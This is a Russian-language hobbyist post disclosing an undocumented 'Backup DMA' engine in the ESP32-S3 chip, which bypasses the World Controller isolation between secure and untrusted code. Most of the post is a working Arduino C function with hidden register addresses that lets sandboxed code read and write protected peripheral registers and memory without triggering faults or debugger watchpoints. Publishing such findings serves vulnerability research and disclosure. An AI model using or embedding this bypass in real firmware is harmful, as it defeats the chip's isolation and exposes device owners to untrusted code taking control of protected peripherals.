Вкратце: Обходим модную фишку защиты в ESP32-S3 : WorldController pwn ![]()
TLDR;
В ESP32-S3 есть возможность ограничивать ресурсы, которыми может пользоваться сторонняя программа: процессор управляет двумя “мирами” - SecureWorld и , соответственно, Unsecure или как-то так. Некий аналог User/Kernel memory space separation, но примитивнее.
Предназначен для архитектуры, когда некое ядро загружает и запускает потенциально небезопасный код. Вот для такого небезопасного кода и создан этот SecureWorld. Называется этот кусок периферии - WorldController и ему посвящен довольно внушительный кусок the esp32s3 reference manual.
Для нас пока важно одно - данный контроллер умеет запрещать работу с переферией, запрещая доступ к регистрам MMIO. Например, для запрета доступа к UART0 ограничевается доступ к региону памяти начиная с адреса 0x60000000: при попытке чтения\записи будет прерывание и управление получит системный код.
А можно как-то обойти? Ну, например, попытаться читать\писать запрещенные участки через DMA? К сожалению, это предусмотрели и нет, не сработает: будет сгенерированно прерывание.
Неужели совсем никак?
Ну да. Должно было бы так быть, если бы не одно но: товарищи из Espressif забыли указать в своей документации один скрытый модуль процессора. Назовем его BKDMA. От “Backup DMA”.
Это некий механизм, которым драйвер WIFI сохраняет и читает свои регистры (0x6003xxx), когда уходит в сон или просыпается. Механизм этот испольхуется исключительно кодом WIFI.
Этот механизм позволяет копировать из RAM в MMIO и наоборот. Т.к. он прикручен где-то, по-ходу дела, действительно сбоку, данный модуль не генерирует ошибок доступа к памяти. Например, если память указанная как src или dst - не существует.
Одно из следствий - можно копировать и писать в чужую память. Т.к. механизм этот оказался скрытый и прикрученый сбоку к SoC, то вполне закономерно он и оказался той дырой, через которую можно обойти защиту WCL
Ниже - рабочий код, который умеет писать из MMIO в RAM и наоборот. Комментарии в коде. Коду не страшен включенный World Controller - BKDMA ничего не знает про WCL :). Информация получена из esp32s3_rev0_rom.elf с помощью всем известной вражеской программы
Код, чтобы играться. Для Arduino фреймворка (а то оффтопик же!)
// Этот код демонстрирует скрытую периферию ESP32-S3: "Backup DMA engine"
//
// Эта периферия используется для копирования (бэкапа) данных из MMIO-регистров
// (как непрерывных блоков, так и фрагментов) в SRAM и обратно
//
//int bkdma_exec(void *mmio, // `mmio` : MMIO-адрес, например 0x60035000
// void *ram, // `ram` : адрес в SRAM (например, статический буфер)
// uint8_t count, // `count` : количество 32-битных слов
// bool mmio2ram // `mmio2ram` : true = MMIO→SRAM, false = SRAM→MMIO
// );
//
#include <stdint.h>
#include <stdbool.h>
#include <stdlib.h>
#include <stdio.h>
// Подключаем безопасный `printf` из ROM ESP32-S3
#ifdef __cplusplus
extern "C" {
#endif
extern int ets_printf(const char *, ... );
//extern esp_rom_printf(const char *, ... );
#ifdef __cplusplus
};
#endif
// Регистры периферии BK DMA:
//
// MMIO-область BK DMA начинается с адреса 0x6001A000 и продолжается как минимум до 0x6001A028
// Доступ к этой области возможен только 32-битными операциями с выравниванием на 4 байта,
// поэтому все регистры читаем/пишем как uint32_t
// Основной регистр управления/конфигурации BKDMA_CMD_CFG_REG
//
#define BKDMA_CMD_CFG_REG ((volatile uint32_t *)0x6001a000)
# define BKDMA_CC_MODE_BITMAP 8 // Включить "bitmap"-режим
# define BKDMA_CC_CMD_START 0x20000000 // Запуск DMA
# define BKDMA_CC_MODE_MMIO2RAM 0x40000000 // Направление передачи
# define BKDMA_CC_CMD_LATCH 0x80000000 // Вероятно: фиксация конфигурации во внутренние shadow-регистры
// Адреса: MMIO и SRAM для передачи данных
//
#define BKDMA_MMIO_ADDR_REG ((volatile uint32_t *)0x6001a004) // адрес вида 0x6xxxxxxx
#define BKDMA_SRAM_ADDR_REG ((volatile uint32_t *)0x6001a008) // обычный адрес RAM
// "Bitmap"-режим: полностью не изучен/не протестирован, поэтому здесь не используется.
//
// Вкратце: 128 бит в 4 регистрах задают, какие MMIO-регистры внутри окна 4 КБ читать.
// Этот режим я не тестировал.
//
#define BKDMA_BITMAP0_REG ((volatile uint32_t *)0x6001a00c) // биты 0..31
#define BKDMA_BITMAP1_REG ((volatile uint32_t *)0x6001a010) // биты 32..63
#define BKDMA_BITMAP2_REG ((volatile uint32_t *)0x6001a014) //
#define BKDMA_BITMAP3_REG ((volatile uint32_t *)0x6001a018) // биты ..127
// Регистр статуса (здесь живёт бит IDLE)
//
#define BKDMA_STATUS_REG ((volatile uint32_t *)0x6001a01c)
# define BKDMA_S_IDLE 1 // младший бит: 1 = IDLE, 0 = BUSY
// Второй командный регистр: назначение неясно, но похоже на "enable"
// Автоматически сбрасывается после завершения операции
//
#define BKDMA_CMD2_REG ((volatile uint32_t *)0x6001a028)
# define BKDMA_C2_EN 0x00000001
// Этот регистр описан в TRM для ESP32-S3: System Configuration Register
// (TRM v1.7, раздел "4.3.5.1 Module/Peripheral Address Mapping")
// Используется для включения/выключения тактирования периферии backup DMA
//
#define SYSTEM_PERIP_CLK_EN1_REG ((volatile uint32_t *)0x600c001c)
# define SYSTEM_PERI_BACKUP_CLK_EN 0x00000001
// Копирование блока памяти между MMIO-регистрами и SRAM
//
// Пример: скопировать 0x6003500 ... 0x6003510 в буфер:
// bkdma_exec((void *)0x6003500, my_buf, 4, true);
//
// Пример: записать буфер в 0x6003500 ... 0x6003510
// bkdma_exec((void *)0x6003500, my_buf, 4, false);
//
// NOTE1: не вызывает исключений и не генерирует прерываний, даже если адрес `ram` некорректный
// NOTE2: если `mmio` не указывает на диапазон 0x6xxxxxxx, функция фактически работает как
// "особый" memset(ram, 0, count * 4). Исключений не возникает, отладчик и watchpoints
// это не видят.
//
int bkdma_exec(void *mmio, // `mmio` : MMIO-адрес, например 0x60035000
void *ram, // `ram` : адрес в SRAM (например, статический буфер)
uint8_t count, // `count` : количество 32-битных слов
bool mmio2ram // `mmio2ram` : true = MMIO→SRAM, false = SRAM→MMIO
) {
uint32_t tmp;
// Проверка параметров: выравнивание, ненулевой размер
//
if (mmio == NULL ||
ram == NULL ||
count == 0 ||
((uintptr_t)mmio & 3) != 0 ||
((uintptr_t)ram & 3) != 0) {
ets_printf("bkdma_exec(): bad count / bad address / bad alignment: %x, %x, %u\r\n",
(unsigned int)mmio, (unsigned int)ram, count);
return -1;
}
// Включаем тактирование BK DMA
*SYSTEM_PERIP_CLK_EN1_REG = *SYSTEM_PERIP_CLK_EN1_REG | SYSTEM_PERI_BACKUP_CLK_EN;
// Настраиваем "простой" режим (без bitmap)
*BKDMA_CMD_CFG_REG = *BKDMA_CMD_CFG_REG & ~BKDMA_CC_MODE_BITMAP;
// Устанавливаем направление передачи (MMIO→SRAM или SRAM→MMIO)
if (mmio2ram)
tmp = *BKDMA_CMD_CFG_REG | BKDMA_CC_MODE_MMIO2RAM;
else
tmp = *BKDMA_CMD_CFG_REG & ~BKDMA_CC_MODE_MMIO2RAM;
*BKDMA_CMD_CFG_REG = tmp;
// Записываем адреса MMIO и SRAM
*BKDMA_MMIO_ADDR_REG = (uintptr_t)mmio;
*BKDMA_SRAM_ADDR_REG = (uintptr_t)ram;
// Устанавливаем размер передачи (в 32-битных словах), поле 10 бит → до ~4 КБ
*BKDMA_CMD_CFG_REG = (*BKDMA_CMD_CFG_REG & 0xE007FFFF) | ((count << 19) & 0x1FF80000);
// Подготовка и запуск:
// Названия могут быть неточными: я их выдумал из головы, как и все остальные.
// Ну не совсем из головы - поизучал логику работы. Но все равно мог наврать.
// На работоспособность, впрочем, это не влияет.
// Я не знаю точно, какой бит запускает DMA, но для старта необходимо
// выполнить все три записи именно в таком порядке.
//
*BKDMA_CMD2_REG = *BKDMA_CMD2_REG | BKDMA_C2_EN;
*BKDMA_CMD_CFG_REG = *BKDMA_CMD_CFG_REG | BKDMA_CC_CMD_LATCH;
*BKDMA_CMD_CFG_REG = *BKDMA_CMD_CFG_REG | BKDMA_CC_CMD_START;
// Ожидание завершения (IDLE)
do { /* ничего не делаем */ } while ((*BKDMA_STATUS_REG & BKDMA_S_IDLE) == 0);
// Остановка и "разподготовка"
*BKDMA_CMD_CFG_REG = *BKDMA_CMD_CFG_REG & ~BKDMA_CC_CMD_START;
*BKDMA_CMD_CFG_REG = *BKDMA_CMD_CFG_REG & ~BKDMA_CC_CMD_LATCH;
// Выключаем тактирование BK DMA
*SYSTEM_PERIP_CLK_EN1_REG = *SYSTEM_PERIP_CLK_EN1_REG & (~SYSTEM_PERI_BACKUP_CLK_EN);
// Готово!
return 0;
}
Развлекайтесь.
На esp32.com уже запостил, некоторое время раньше.